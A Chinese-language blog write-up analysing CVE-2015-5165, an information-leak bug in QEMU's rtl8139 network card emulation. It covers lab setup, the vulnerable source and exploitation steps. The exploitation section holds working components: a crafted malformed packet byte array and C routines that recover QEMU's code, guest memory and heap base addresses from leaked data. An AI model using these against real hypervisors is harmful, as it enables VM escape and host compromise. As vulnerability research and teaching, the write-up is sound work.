CVE-2015-5165及CVE-2015-7504，很经典的一个qemu逃逸漏洞，想通过它来学习qemu的cve。篇幅的原因，先分析CVE-2015-5165。
环境搭建
首先是编译qemu：
git clone git://git.qemu-project.org/qemu.git
cd qemu
git checkout bd80b59
mkdir -p bin/debug/naive
cd bin/debug/naive
../../../configure --target-list=x86_64-softmmu --enable-debug --disable-werror
make
qemu的路径在./qemu/bin/debug/native/x86_64-softmmu/qemu-system-x86_64，--enable-debug保留了调试符号，可以源代码调试，很舒服。
接着是制作qemu虚拟机，包括两个部分一个是文件系统镜像，一个是内核。
可以使用debootstrap制作debian文件系统镜像。
安装debootstrap
sudo apt-get install debootstrap
参考create-image.sh制作了一个2GB大小的rootfs.img镜像文件。
mkdir rootfs
sudo debootstrap --include=openssh-server,curl,tar,gcc,
libc6-dev,time,strace,sudo,less,psmisc,
selinux-utils,policycoreutils,checkpolicy,selinux-policy-default
stretch rootfs
set -eux
# Set some defaults and enable promtless ssh to the machine for root.
sudo sed -i '/^root/ { s/:x:/::/ }' rootfs/etc/passwd
echo 'T0:23:respawn:/sbin/getty -L ttyS0 115200 vt100' | sudo tee -a rootfs/etc/inittab
#printf 'nauto enp0s3niface enp0s3 inet dhcpn' | sudo tee -a qemu/etc/network/interfaces
printf 'nallow-hotplug enp0s3niface enp0s3 inet dhcpn' | sudo tee -a rootfs/etc/network/interfaces
echo 'debugfs /sys/kernel/debug debugfs defaults 0 0' | sudo tee -a rootfs/etc/fstab
echo "kernel.printk = 7 4 1 3" | sudo tee -a rootfs/etc/sysctl.conf
echo 'debug.exception-trace = 0' | sudo tee -a rootfs/etc/sysctl.conf
echo "net.core.bpf_jit_enable = 1" | sudo tee -a rootfs/etc/sysctl.conf
echo "net.core.bpf_jit_harden = 2" | sudo tee -a rootfs/etc/sysctl.conf
echo "net.ipv4.ping_group_range = 0 65535" | sudo tee -a rootfs/etc/sysctl.conf
echo -en "127.0.0.1tlocalhostn" | sudo tee rootfs/etc/hosts
echo "nameserver 8.8.8.8" | sudo tee -a rootfs/etc/resolve.conf
echo "ubuntu" | sudo tee rootfs/etc/hostname
sudo mkdir -p rootfs/root/.ssh/
rm -rf ssh
mkdir -p ssh
ssh-keygen -f ssh/id_rsa -t rsa -N ''
cat ssh/id_rsa.pub | sudo tee rootfs/root/.ssh/authorized_keys
# Build a disk image
dd if=/dev/zero of=rootfs.img bs=1M seek=2047 count=1
sudo mkfs.ext4 -F rootfs.img
sudo mkdir -p /mnt/rootfs
sudo mount -o loop rootfs.img /mnt/rootfs
sudo cp -a rootfs/. /mnt/rootfs/.
sudo umount /mnt/rootfs
然后是编译内核，对应的内核文件路径为./linux-5.2.11/arch/x86/boot/bzImage：
wget https://cdn.kernel.org/pub/linux/kernel/v5.x/linux-5.2.11.tar.xz -O linux-5.2.11.tar.xz
tar -xvf linux-5.2.11.tar.xz
make defconfig
make kvmconfig
#编辑 .config 文件， 将 CONFIG_8139CP=y 和 CONFIG_PCNET32=y 打开
make -j4
要确保下面两个配置选项是打开的， 否则系统启动的时候会出现发现启动网卡的错误，因为对应的网卡驱动没有编译进去。
CONFIG_8139CP=y , rtl8139 驱动
CONFIG_PCNET32=y , pcnet 驱动
然后使用下面的launch.sh就可以启动虚拟机了，因为将22端口转发到了本地的10021端口，所以可以通过ssh -i ./ssh/id_rsa -p 10021 root@localhost，登进去虚拟机对虚拟机进行管理，以及通过scp传递文件。
$ cat launch.sh
#!/bin/sh
./qemu/bin/debug/native/x86_64-softmmu/qemu-system-x86_64
-kernel ./linux-5.2.11/arch/x86/boot/bzImage
-append "console=ttyS0 root=/dev/sda rw"
-hda ./rootfs.img
-enable-kvm -m 2G -nographic
-netdev user,id=t0, -device rtl8139,netdev=t0,id=nic0
-netdev user,id=t1, -device pcnet,netdev=t1,id=nic1
-net user,hostfwd=tcp::10021-:22 -net nic
漏洞分析
在开始漏洞分析之前需要先介绍下rtl8139的部分寄存器，与漏洞相关部分如下：
+---------------------------+----------------------------+
0x00 | MAC0 | MAR0 |
+---------------------------+----------------------------+
0x10 | TxStatus0 |
+--------------------------------------------------------+
0x20 | TxAddr0 |
+-------------------+-------+----------------------------+
0x30 | RxBuf |ChipCmd| |
+-------------+------+------+----------------------------+
0x40 | TxConfig | RxConfig | ... |
+-------------+-------------+----------------------------+
| |
| skipping irrelevant registers |
| |
+---------------------------+--+------+------------------+
0xd0 | ... | |TxPoll| ... |
+-------+------+------------+--+------+--+---------------+
0xe0 | CpCmd | ... |RxRingAddrLO|RxRingAddrHI| ... |
+-------+------+------------+------------+---------------+
其在qemu中对应的结构体为RTL8139State，其中比较关键的部分如下：
-
TxConfig：开启/关闭Tx的标记，包括TxLoopBack （开启loopback测试模式）以及TxCRC (Tx包是否添加校验码)。
-
RxConfig：开启/关闭Rx的标记，比如AcceptBroadcast（接收广播包）， AcceptMulticast（接收组播包）等。 -
CpCmd：C+指令寄存器用来执行一些函数，比如 CplusRxEnd（允许接收），CplusTxEnd（允许发送）等。 -
TxAddr0：Tx表的物理内存地址。 -
RxRingAddrLO：Rx表的物理内存地址的低32位。 -
RxRingAddrHI：Rx表的物理内存地址的高32位。 -
TxPoll：告诉网卡检查Tx缓冲区。
经过对代码的学习，知道了Tx缓冲区是网卡的发送数据缓冲区，而Rx缓冲区则是接收数据缓冲区。Tx表以及Rx表为一个16字节结构体大小的数组，该表中的rtl8139_desc包含缓冲区的具体位置，定义如下：
struct rtl8139_ring {
struct rtl8139_desc *desc;
void *buffer;
};
其中Rx/Tx-descriptor定义如下，dw0中包含一些标志位，buf_lo和buf_hi表示Tx/Rx缓冲的物理内存地址的低32位和高32位，这些地址指向存储要发送/接收的包的缓冲区，必须与页面大小对齐：
struct rtl8139_desc {
uint32_t dw0;
uint32_t dw1;
uint32_t buf_lo;
uint32_t buf_hi;
};
rtl8139网卡对应的文件在/hw/net/rtl8139.c中，首先是漏洞关键部分代码，在函数rtl8139_cplus_transmit_one中，该函数更多的是和tx寄存器相关，发送的数据是Tx缓冲区中的数据（可控），检查的相关标志位为txdw0：
uint8_t *saved_buffer = s->cplus_txbuffer;
int saved_size = s->cplus_txbuffer_offset;
int saved_buffer_len = s->cplus_txbuffer_len;
...
if (txdw0 & (CP_TX_IPCS | CP_TX_UDPCS | CP_TX_TCPCS | CP_TX_LGSEN))
{
DPRINTF("+++ C+ mode offloaded task checksumn");
/* ip packet header */
ip_header *ip = NULL;
int hlen = 0;
uint8_t ip_protocol = 0;
uint16_t ip_data_len = 0;
uint8_t *eth_payload_data = NULL;
size_t eth_payload_len = 0;
int proto = be16_to_cpu(*(uint16_t *)(saved_buffer + 12));
if (proto == ETH_P_IP)
{
DPRINTF("+++ C+ mode has IP packetn");
/* not aligned */
eth_payload_data = saved_buffer + ETH_HLEN;
eth_payload_len = saved_size - ETH_HLEN;
ip = (ip_header*)eth_payload_data;
if (IP_HEADER_VERSION(ip) != IP_HEADER_VERSION_4) {
DPRINTF("+++ C+ mode packet has bad IP version %d "
"expected %dn", IP_HEADER_VERSION(ip),
IP_HEADER_VERSION_4);
ip = NULL;
} else {
hlen = IP_HEADER_LENGTH(ip);
ip_protocol = ip->ip_p;
ip_data_len = be16_to_cpu(ip->ip_len) - hlen;
}
}
漏洞的关键代码为ip_data_len = be16_to_cpu(ip->ip_len) - hlen，没有对ip->ip_len的长度以及hlen进行检查，hlen为20，当be16_to_cpu(ip->ip_len)小于20时，会导致ip_data_len为负数。因为ip_data_len的变量类型为uint16_t，所以会在最后发送ip数据包时将负数当成正数来发送，导致多余的数据泄露出来。
下面先看当ip_data_len为负数时，数据时如何泄露出来的，关键代码如下：
...
/* pointer to TCP header */
tcp_header *p_tcp_hdr = (tcp_header*)(eth_payload_data + hlen);
/* ETH_MTU = ip header len + tcp header len + payload */
int tcp_data_len = ip_data_len - tcp_hlen;
int tcp_chunk_size = ETH_MTU - hlen - tcp_hlen;
...
/* note the cycle below overwrites IP header data,
but restores it from saved_ip_header before sending packet */
int is_last_frame = 0;
for (tcp_send_offset = 0; tcp_send_offset < tcp_data_len; tcp_send_offset += tcp_chunk_size)
{
uint16_t chunk_size = tcp_chunk_size;
/* check if this is the last frame */
if (tcp_send_offset + tcp_chunk_size >= tcp_data_len)
{
is_last_frame = 1;
chunk_size = tcp_data_len - tcp_send_offset;
}
...
if (tcp_send_offset)
{
memcpy((uint8_t*)p_tcp_hdr + tcp_hlen, (uint8_t*)p_tcp_hdr + tcp_hlen + tcp_send_offset, chunk_size);
}
...
rtl8139_transfer_frame(s, saved_buffer, tso_send_size,
0, (uint8_t *) dot1q_buffer);
可以看到因为eth包最大的发包长度有限，所以会将tcp数据按长度进行切割，每次发送固定长度的数据包，因为ip_data_len已经被覆盖成了负数（最大可为65535），因此后面的代码memcpy((uint8_t*)p_tcp_hdr + tcp_hlen, (uint8_t*)p_tcp_hdr + tcp_hlen + tcp_send_offset, chunk_size);会将p_tcp_hdr正常的数据以外的额外的数据拷贝出来，通过rtl8139_transfer_frame发送出去。
再看rtl8139_transfer_frame函数，当Tx寄存器包含TxLoopBack标志位时，程序会调用rtl8139_do_receive函数降数据回发送回给自己：
static void rtl8139_transfer_frame(RTL8139State *s, uint8_t *buf, int size,
int do_interrupt, const uint8_t *dot1q_buf)
{
...
if (TxLoopBack == (s->TxConfig & TxLoopBack))
{
...
DPRINTF("+++ transmit loopback moden");
rtl8139_do_receive(qemu_get_queue(s->nic), buf, size, do_interrupt);
...
}
}
...
}
去看rtl8139_do_receive函数，当发送包（buf）的目标mac地址与网卡的地址一致且Rx寄存器标志位包含AcceptMyPhys标志时，会将发送出来的数据保存到相应的Rx缓冲区中，对应的代码为pci_dma_write(d, rx_addr, buf, size)，rx_addr为相应的Rx-descriptor中buf_LO与buf_HI组成的物理地址：
static ssize_t rtl8139_do_receive(NetClientState *nc, const uint8_t *buf, size_t size_, int do_interrupt)
{
...
/* XXX: check this */
if (s->RxConfig & AcceptAllPhys) {
/* promiscuous: receive all */
...
} else {
...
//发送包的目标mac地址与网卡地址对比
} else if (s->phys[0] == buf[0] &&
s->phys[1] == buf[1] &&
s->phys[2] == buf[2] &&
s->phys[3] == buf[3] &&
s->phys[4] == buf[4] &&
s->phys[5] == buf[5]) {
/* match */
if (!(s->RxConfig & AcceptMyPhys))
{
DPRINTF(">>> rejecting physical address matching packetn");
/* update tally counter */
++s->tally_counters.RxERR;
return size;
}
...
}
}
...
if (rtl8139_cp_receiver_enabled(s))
{
if (!rtl8139_cp_rx_valid(s)) {
return size;
}
DPRINTF("in C+ Rx mode ================n");
...
int descriptor = s->currCPlusRxDesc;
dma_addr_t cplus_rx_ring_desc;
cplus_rx_ring_desc = rtl8139_addr64(s->RxRingAddrLO, s->RxRingAddrHI);
cplus_rx_ring_desc += 16 * descriptor;
DPRINTF("+++ C+ mode reading RX descriptor %d from host memory at "
"%08x %08x = "DMA_ADDR_FMT"n", descriptor, s->RxRingAddrHI,
s->RxRingAddrLO, cplus_rx_ring_desc);
uint32_t val, rxdw0,rxdw1,rxbufLO,rxbufHI;
pci_dma_read(d, cplus_rx_ring_desc, &val, 4);
rxdw0 = le32_to_cpu(val);
pci_dma_read(d, cplus_rx_ring_desc+4, &val, 4);
rxdw1 = le32_to_cpu(val);
pci_dma_read(d, cplus_rx_ring_desc+8, &val, 4);
rxbufLO = le32_to_cpu(val);
pci_dma_read(d, cplus_rx_ring_desc+12, &val, 4);
rxbufHI = le32_to_cpu(val);
DPRINTF("+++ C+ mode RX descriptor %d %08x %08x %08x %08xn",
descriptor, rxdw0, rxdw1, rxbufLO, rxbufHI);
if (!(rxdw0 & CP_RX_OWN))
{
...
}
uint32_t rx_space = rxdw0 & CP_RX_BUFFER_SIZE_MASK;
...
dma_addr_t rx_addr = rtl8139_addr64(rxbufLO, rxbufHI);
/* receive/copy to target memory */
if (dot1q_buf) {
...
} else {
pci_dma_write(d, rx_addr, buf, size);
}
...
}
到此漏洞的原理可以大致弄清楚了：tx缓冲区中包含了要发送的数据包，在发送的过程中，因为没有对ip->ip_len进行检查，导致程序判定tcp的数据包长度超出了原有的长度，因此会将数据包进行切割将数据发送出去，导致了非预期的信息泄露；同时当Tx标志位包含TxLoopBack时，会将数据包发送给自己的网卡并且发送数据的mac地址为自身网卡以及rx标志位包含AcceptAllPhys时会将相应的数据保存到rx缓冲区中，因此构造好相应的数据我们就可以从rx缓冲区的数据中读取到信息泄露的数据。
流程分析
弄清楚了漏洞原理后，想进一步分析看如何才能够构造好相应的网卡以及触发漏洞，因此对该网卡进行一定的分析。
apt-get install pciutils安装lspci工具，然后查看pci设备：
root@ubuntu:~# lspci
...
00:04.0 Ethernet controller: Realtek Semiconductor Co., Ltd. RTL-8100/8101L/8139 PCI Fast Ethernet Adapter (rev 20)
root@ubuntu:~# lspci -v -s 00:04.0
00:04.0 Ethernet controller: Realtek Semiconductor Co., Ltd. RTL-8100/8101L/8139 PCI Fast Ethernet Adapter (rev 20)
Subsystem: Red Hat, Inc QEMU Virtual Machine
Flags: bus master, fast devsel, latency 0, IRQ 11
I/O ports at c000 [size=256]
Memory at febf1000 (32-bit, non-prefetchable) [size=256]
Expansion ROM at feb40000 [disabled] [size=256K]
Kernel driver in use: 8139cp
lspci: Unable to load libkmod resources: error -12
pmio空间对应的端口地址为0xc000，大小为256。
再去看网卡的realize函数：
static void pci_rtl8139_realize(PCIDevice *dev, Error **errp)
{
...
memory_region_init_io(&s->bar_io, OBJECT(s), &rtl8139_io_ops, s,
"rtl8139", 0x100);
...
}
可以看到pmio对应的操作为rtl8139_io_ops，其定义如下：
static const MemoryRegionOps rtl8139_io_ops = {
.read = rtl8139_ioport_read,
.write = rtl8139_ioport_write,
.impl = {
.min_access_size = 1,
.max_access_size = 4,
},
.endianness = DEVICE_LITTLE_ENDIAN,
};
要设置网卡更多的关键为rtl8139_ioport_write，根据size的大小分成了writeb、writew以及writel函数，每个函数中根据addr可以设置网卡相应寄存器的值：
static void rtl8139_ioport_write(void *opaque, hwaddr addr,
uint64_t val, unsigned size)
{
switch (size) {
case 1:
rtl8139_io_writeb(opaque, addr, val);
break;
case 2:
rtl8139_io_writew(opaque, addr, val);
break;
case 4:
rtl8139_io_writel(opaque, addr, val);
break;
}
}
然后去看漏洞函数调用路径，寻找如何触发漏洞。
漏洞函数为rtl8139_cplus_transmit_one，查看它的引用：
static void rtl8139_cplus_transmit(RTL8139State *s)
{
int txcount = 0;
while (rtl8139_cplus_transmit_one(s))
{
++txcount;
}
...
}
再看rtl8139_cplus_transmit的引用：
static void rtl8139_io_writeb(void *opaque, uint8_t addr, uint32_t val)
{
...
switch (addr)
{
...
case TxPoll:
DPRINTF("C+ TxPoll write(b) val=0x%02xn", val);
if (val & (1 << 7))
{
DPRINTF("C+ TxPoll high priority transmission (not "
"implemented)n");
//rtl8139_cplus_transmit(s);
}
if (val & (1 << 6))
{
DPRINTF("C+ TxPoll normal priority transmissionn");
rtl8139_cplus_transmit(s);
}
break;
...
}
}
可以看到rtl8139_io_writeb函数调用了rtl8139_cplus_transmit函数，当addr为TxPoll且value为1<<6时，触发对rtl8139_cplus_transmi函数，也就对应上了前面说的TxPoll的功能为告诉网卡检查Tx缓冲区。
还有一些寄存器的设置，包括Tx/Rx 表的设置以及Tx/RxConfig寄存器的设置，也都可以相应的在rtl8139_ioport_write函数中找到对应的配置。
漏洞利用
利用包含五个部分：
- 恶意网卡发送数据包的构造
- 网卡寄存器的配置
- 网卡发送缓冲区的配置
- 网卡接收缓冲区的配置
- 泄露信息的分析
首先是恶意网卡发送数据包的构造，rtl8139_cplus_transmit_one函数中处理的数据是Tx发送缓冲区中的数据。一个数据包是以太网帧，其相关格式如下：
比较关键的点在于目的地址，因为后面会判断mac地址与自身mac地址是否相等，因此需要将目的地址设置成网卡的mac地址52:54:00:12:34:57：
root@ubuntu:~# ifconfig -a
...
enp0s4: flags=4098<BROADCAST,MULTICAST> mtu 1500
ether 52:54:00:12:34:57 txqueuelen 1000 (Ethernet)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 0 bytes 0 (0.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
还需要将类型设置成0x0800即IP包。
下一层数据包为IP数据包格式，格式如下：
在这个包中需要构造的就是16位总长度了，#define IP_HEADER_LENGTH(ip) (((ip->ip_ver_len)&0xf) << 2)的长度为5<<2是20，因此需要构造ip->ip_len长度为19(0x13)，实现了漏洞构造ip_data_len为0xffff。
hlen = IP_HEADER_LENGTH(ip);
ip_protocol = ip->ip_p;
ip_data_len = be16_to_cpu(ip->ip_len) - hlen;
最后是一个tcp数据包，tcp数据包没有什么需要特别构造的，正常构造即可。
最后构造出来的packet数据如下：
/* malformed ip packet with corrupted header size */
uint8_t malformed_eth_packet[]={
0x52, 0x54, 0x00, 0x12, 0x34, 0x57, 0x52, 0x54, 0x00, 0x12, 0x34, 0x57, // 6 bytes dst mac addr, 6 bytes src mac addr
0x08, 0x00, 0x45, 0x00, 0x00, 0x13, 0xde, 0xad, 0x40, 0x00, 0x40, 0x06, // 2 bytes type, 0x0800 is ip, one byte (4 bits ip version, 4 bits ip header len), one bytes TOS, 2 bytes total len(0x0013, 0x13-0x5<<2=0xffff which will cause vuln), 2 bytes id, 2 bytes fragment offsets, one bytes ttl, one byte protocol(6 means IP protocol)
0xff, 0xff, 0x7f, 0x00, 0x00, 0x01, 0x7f, 0x00, 0x00, 0x01, 0x04, 0x00, // 2 bytes checksum, 4 bytes src ip addr, 4 bytes dst ip addr, 2 bytes src port
0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x50, 0x10, // 2 bytes dst port, 4 bytes serial number, 4 bytes ack number, 2 bytes len(4 bits tcp header len)
0x00, 0x00, 0xff, 0xff, 0x00, 0x00// 2 bytes window size, 2 bytes checksum, 2 bytes urge pointer
};
第二部分是网卡寄存器的配置，主要是为了能够成功触发漏洞与泄露信息，需要配置网卡。包括为了开启transmitter以及receiver，需要配置bChipCmdState为CmdTxEnb以及CmdRxEnb；为了开启cp_transmitter以及cp_receiver，需要配置CpCmd为CPlusTxEnb以及CPlusRxEnb；还需要配置TxConfig为TxLoopBack以及配置RxConfig为AcceptMyPhys。
第三部分则是配置Tx发送缓冲区，主要是配置TxAddr0，设置Tx表的地址。申请好空间，构造好Tx descriptor，将恶意网卡数据的地址填到相应的buf_LO以及buf_HI中。这两个地址都是需要相应的物理地址，需要实现虚拟地址到物理地址的转换。
第四部分是配置Rx接收缓冲区，主要是配置RxRingAddrLO以及RxRingAddrHI，设置Rx表的地址。因为泄露的信息约为64kb数据，需要申请44个Rx接收缓冲区来保存数据。
最后是信息泄露的分析，如何从泄露出来的数据得到包括程序的基址等有效的信息。可以像phrack文章中写的一样，通过二分法找到struct ObjectProperty结构体内存。参考了dangokyo的exp，通过比对泄露出来地址的低12位以及最高位可以确定出程序基址。
typedef struct ObjectProperty
{
gchar *name;
gchar *type;
gchar *description;
ObjectPropertyAccessor *get;
ObjectPropertyAccessor *set;
ObjectPropertyResolve *resolve;
ObjectPropertyRelease *release;
void *opaque;
QTAILQ_ENTRY(ObjectProperty) node;
} ObjectProperty;
uint64_t qemu_search_text_base(void* ptr, size_t size)
{
size_t i;
uint64_t property_get_bool_offset = 0x36bacd;
uint64_t *int_ptr, addr, text_base =0;
for (i=0; i<size-8; i+=8) {
int_ptr=(uint64_t*)(ptr+i);
addr=*int_ptr;
if( ((addr & 0xfffff00000000000) == 0x500000000000)
&& (( (addr - property_get_bool_offset) & 0xfff ) == 0) )
{
text_base = addr - property_get_bool_offset;
break;
}
}
return text_base;
}
同时还需要泄露qemu为虚拟机所分配的进程内存的地址，即下表的0x7f7a04000000：
0x7f7a04000000 0x7f7a84000000 rw-p 80000000 0
0x7f7a84000000 0x7f7a8476e000 rw-p 76e000 0
经过分析，泄露出来的数据最高位为0x7的好像都为0x7f7a84000000内存块中的数据，因此可以通过偏移得到虚拟机物理内存所对应的地址PHY_MEM：
uint64_t qemu_search_phy_base(void *ptr, size_t size)
{
size_t i;
uint64_t *int_ptr, addr, phy_base = 0;
for (i = 0; i < size-8; i += 8)
{
int_ptr = (uint64_t*)(ptr+i);
addr = *int_ptr;
if((addr & 0xfffff00000000000) == 0x700000000000)
{
addr = addr & 0xffffffffff000000;
phy_base = addr - 0x80000000;
break;
}
}
return phy_base;
}
最后是泄露heap的基址，我在里面找了一些堆的基址，通过偏移来确定来heap的地址。：
uint64_t qemu_search_heap_base(void *ptr, size_t size, uint64_t text_base)
{
size_t i;
size_t j;
uint64_t *int_ptr, addr, heap_base = 0;
uint64_t target_offset[] = {0x4a7c0, 0x1470208, 0x1765d70, 0xd3c748, 0xe883b8};
for (i = 0; i < size-8; i += 8)
{
int_ptr = (uint64_t*)(ptr+i);
addr = *int_ptr;
//printf("i: %d 0x%lxn",i, addr);
if((addr & 0xffff00000000) == (text_base & 0xffff00000000) && addr!=0) {
if( (addr - text_base) > 0xd5c000) {
for(j = 0; j < sizeof(target_offset)/sizeof(int64_t); j++) {
if(((addr -target_offset[j])&0xfff) == 0) {
heap_base = addr - target_offset[j];
break;
}
}
}
}
if(heap_base != 0)
break;
}
return heap_base;
}
小结
真实的漏洞还是比之前ctf题目稍微复杂一些，调起来还是有收获。
相关文件以及脚本链接
参考链接
- 虚拟机逃逸——QEMU的案例分析（一）
- 虚拟机逃逸——QEMU的案例分析（二）
- 前往黑暗之门！Debugee in QEMU
- VM escape—QEMU Case Study
- QEMU escape: Part 3 Information Leakage (CVE-2015-5165)
- Setup: Ubuntu host, QEMU vm, x86-64 kernel
公众号平凡路上，二进制漏洞分析与利用经验心得交流分享的公众号。